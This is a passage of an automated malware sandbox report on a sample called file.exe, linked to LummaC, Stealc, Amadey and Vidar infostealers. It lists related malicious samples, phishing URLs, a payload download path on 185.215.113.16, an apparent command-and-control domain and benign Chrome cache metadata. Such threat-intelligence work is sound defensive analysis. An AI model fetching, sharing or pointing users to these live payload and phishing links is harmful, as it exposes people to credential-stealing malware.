Excluded IPs from analysis (whitelisted): 192.229.221.95, 93.184.221.240, 184.28.89.167, 216.58.212.163, 216.58.212.174, 74.125.206.84, 88.221.170.101, 34.104.35.123, 52.168.117.168, 142.250.184.202, 142.250.186.74, 172.217.18.106, 142.250.185.202, 216.58.212.138, 172.217.16.138, 142.250.186.170, 216.58.206.74, 142.250.185.138, 142.250.185.106, 142.250.186.138, 216.58.206.42, 142.250.186.42, 142.250.185.170, 142.250.185.234, 142.250.181.234, 2.19.11.116, 2.19.11.103, 20.189.173.23, 13.74.129.1, 204.79.197.237, 13.107.21.237, 142.250.185.227, 172.217.16.142
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, onedscolprdeus07.eastus.cloudapp.azure.com, azureedge-t-prod.trafficmanager.net, dua
Execution Graph export aborted for target file.exe, PID 5788 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:24:19	API Interceptor	15x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.42	https://protect-us.mimecast.com/s/FVibCzpzxLsxEMXAhgAOBC	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
	http://border-fd.smartertechnologies.com/	Get hash	malicious	Unknown	Browse	border-fd.smartertechnologies.com/
	https://protect-us.mimecast.com/s/4MrPCrkvgotDWxrNCzxa8p	Get hash	malicious	Unknown	Browse	www.mimecast.com/
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0014.t-0009.t-msedge.net	INVOICE DUE.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	PO-54752454235.hta	Get hash	malicious	Remcos	Browse	13.107.246.42
	http://frenzelit.powerappsportals.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.42
	https://gen-techs.site/s/ind.html#123@123.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://app.bitdam.com/api/v1.0/links/rewrite_click/?rewrite_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyZXdyaXRlX2lkIjoiNjcyOGQ2YzliOTFmMDRhNDE1NjM3NTRhIiwidXJsIjoiIiwib3JnYW5pemF0aW9uX2lkIjo1ODQwfQ.Uhd2nS1gN1sUzvqpPDTmoAH1ZU9vF-hNz1sM06cv-iA&url=https%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.ro/url%3Fq%3Dhttps%3A//www.google.nl/url%3Fq%3DZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%6E%65%77%68%6F%6D%65%73%76%6E%2E%63%6F%6D%2F%63%67%69%2F/3we/Y29saW4uZ3JhbnRAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.42
	Order 1108739138.vbs	Get hash	malicious	Unknown	Browse	13.107.246.42
	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	13.107.246.42
	(No subject) (86).eml	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.42
	https://targetemissionservices.ezofficeinventory.com/users/sign_in	Get hash	malicious	Unknown	Browse	13.107.246.42
	INVOICE DUE..xlsx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
s-part-0017.t-0009.t-msedge.net	https://ctrk.klclick.com/l/01JCNJ0H48YX46QX141C2JGKTY_0	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://gmi.hostedrmm.com/automate/computer/14498/max-tile-patching/patches	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://ville-de-paris.mystrikingly.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://2storageaccounterm67.z13.web.core.windows.net/Win08Ay0Er08d8d77/index.html#	Get hash	malicious	TechSupportScam	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=5d37a5ce-68e8-4e54-8025-344abf0ce113&etti=24&acct=fa5740a8-777c-4b83-ace8-34f4a6d17395&er=65d28d76-f984-4e81-9fb9-bc94adc3d84f	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://neveshost.com.br/molkdp/BWjGZ/Y2hhcmxlcy5mZXJyeUBicmV3aW4uY28udWs=	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	ATT68427.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://lookerstudio.google.com/s/hvL5oZWBksg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
frogmen-smell.sbs	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://ctrk.klclick.com/l/01JCNJ0H48YX46QX141C2JGKTY_0	Get hash	malicious	HTMLPhisher	Browse	20.73.141.254
	FW Important Security Policy Update.msg	Get hash	malicious	KnowBe4	Browse	52.113.194.132
	https://2storageaccounterm67.z13.web.core.windows.net/Win08Ay0Er08d8d77/index.html#	Get hash	malicious	TechSupportScam	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=5d37a5ce-68e8-4e54-8025-344abf0ce113&etti=24&acct=fa5740a8-777c-4b83-ace8-34f4a6d17395&er=65d28d76-f984-4e81-9fb9-bc94adc3d84f	Get hash	malicious	HTMLPhisher	Browse	52.97.201.2
	http://download.todesktop.com/230313mzl4w4u92/Cursor%20Setup%200.42.4%20-%20Build%202410291z3bdg1dy-x64.exe	Get hash	malicious	Unknown	Browse	13.107.5.93
	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	Get hash	malicious	HTMLPhisher	Browse	20.190.159.68
	https://neveshost.com.br/molkdp/BWjGZ/Y2hhcmxlcy5mZXJyeUBicmV3aW4uY28udWs=	Get hash	malicious	HTMLPhisher	Browse	40.126.31.71
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://lookerstudio.google.com/s/hvL5oZWBksg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	x86.elf	Get hash	malicious	Unknown	Browse	22.36.254.93
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://ctrk.klclick.com/l/01JCNJ0H48YX46QX141C2JGKTY_0	Get hash	malicious	HTMLPhisher	Browse	20.73.141.254
	FW Important Security Policy Update.msg	Get hash	malicious	KnowBe4	Browse	52.113.194.132
	https://2storageaccounterm67.z13.web.core.windows.net/Win08Ay0Er08d8d77/index.html#	Get hash	malicious	TechSupportScam	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=5d37a5ce-68e8-4e54-8025-344abf0ce113&etti=24&acct=fa5740a8-777c-4b83-ace8-34f4a6d17395&er=65d28d76-f984-4e81-9fb9-bc94adc3d84f	Get hash	malicious	HTMLPhisher	Browse	52.97.201.2
	http://download.todesktop.com/230313mzl4w4u92/Cursor%20Setup%200.42.4%20-%20Build%202410291z3bdg1dy-x64.exe	Get hash	malicious	Unknown	Browse	13.107.5.93
	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	Get hash	malicious	HTMLPhisher	Browse	20.190.159.68
	https://neveshost.com.br/molkdp/BWjGZ/Y2hhcmxlcy5mZXJyeUBicmV3aW4uY28udWs=	Get hash	malicious	HTMLPhisher	Browse	40.126.31.71
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://lookerstudio.google.com/s/hvL5oZWBksg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	x86.elf	Get hash	malicious	Unknown	Browse	22.36.254.93
CLOUDFLARENETUS	https://ctrk.klclick.com/l/01JCNJ0H48YX46QX141C2JGKTY_0	Get hash	malicious	HTMLPhisher	Browse	172.66.0.235
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	https://ville-de-paris.mystrikingly.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	Nexol.exe	Get hash	malicious	LummaC	Browse	172.67.150.243
	FW Important Security Policy Update.msg	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	https://na4.docusign.net/Signing/EmailStart.aspx?a=5d37a5ce-68e8-4e54-8025-344abf0ce113&etti=24&acct=fa5740a8-777c-4b83-ace8-34f4a6d17395&er=65d28d76-f984-4e81-9fb9-bc94adc3d84f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://download.todesktop.com/230313mzl4w4u92/Cursor%20Setup%200.42.4%20-%20Build%202410291z3bdg1dy-x64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	Requerimento.exe	Get hash	malicious	MeshAgent, AsyncRAT, Gocoder	Browse	104.21.46.245
	https://neveshost.com.br/molkdp/BWjGZ/Y2hhcmxlcy5mZXJyeUBicmV3aW4uY28udWs=	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	172.67.177.220
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://ctrk.klclick.com/l/01JCNJ0H48YX46QX141C2JGKTY_0	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	Loader.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://gmi.hostedrmm.com/automate/computer/14498/max-tile-patching/patches	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://ville-de-paris.mystrikingly.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://2storageaccounterm67.z13.web.core.windows.net/Win08Ay0Er08d8d77/index.html#	Get hash	malicious	TechSupportScam	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=5d37a5ce-68e8-4e54-8025-344abf0ce113&etti=24&acct=fa5740a8-777c-4b83-ace8-34f4a6d17395&er=65d28d76-f984-4e81-9fb9-bc94adc3d84f	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://neveshost.com.br/molkdp/BWjGZ/Y2hhcmxlcy5mZXJyeUBicmV3aW4uY28udWs=	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	ATT68427.htm	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	Nexol.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	Loader.exe.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 107

Download File

